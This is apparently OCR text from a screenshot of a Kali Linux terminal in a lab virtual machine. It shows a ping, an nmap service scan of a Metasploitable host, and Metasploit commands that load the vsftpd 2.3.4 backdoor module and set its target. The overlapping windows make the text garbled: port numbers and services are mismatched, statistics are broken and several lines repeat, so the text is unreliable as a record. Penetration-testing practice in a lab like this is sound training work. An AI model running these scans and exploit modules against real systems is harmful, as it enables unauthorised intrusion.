

File Machine View Input Devices Help

1 2 3 4 2

9:58

kali@kali: ~

File Actions Edit View Help

64 bytes from 192.168.1.149: icmp\_seq=3 ttl=64 time=0.593 ms

64 bytes from 192.168.1.149: icmp\_seq=4 ttl=64 time=0.716 ms

Exploit target:

--- 192.168.1.149 ping statistics ---

4 Id Name: transmitted: 4 received: 0% packet loss, time 3044ms

rtt -- min / max / mdev = 0.593 / 0.783 / 1.223 / 0.258 ms

0 Automatic

---kali---kali---

msf6 &gt; set RHOSTS 192.168.1.149

Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024-03-05 09:48 ESTView the full module info with the **info**, or **info -d** command.

Host is up (0.0014s latency).

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) &gt; set RHOSTS 192.168.1.149

RHOSTS =&gt; 192.168.1.149 VERSION

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) &gt; show options

25/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

Module options (exploit/unix/ftp/vsftpd\_234\_backdoor):

25/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

Name Current Setting Required Description

CHOST open rcbind no The local client address

CPORT open netbios-ssn no The local client port (WORKGROUP)

Proxies on netbios-ssn no A proxy chain of format type:host:port[,type:host:port][ ... ]

RHOSTS p 192.168.1.149 yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT open login? No yes The target port (TCP)

1099/tcp open java-rmi GND Classpath grmiregistry

1534/tcp open bindshell Metasploitable root shell

Payload options (cmd/unix/interact): (1000003)

4124/tcp open rtp ProFTPD 1.3.1

Name Current Setting Required Description

583/tcp open http Apache Tomcat/Coyote JSP engine 1.1

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open x11 (access denied)

Exploit target: irc UnrealIRCd

6009/tcp open aipl3 Apache Jserv (Protocol v1.3)

Id Name: http Apache Tomcat/Coyote JSP engine 1.1

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 66.06 seconds

View the full module info with the **info**, or **info -d** command.

x: 0 Automatic

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 66.06 seconds

View the full module info with the **info**, or **info -d** command.

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) &gt;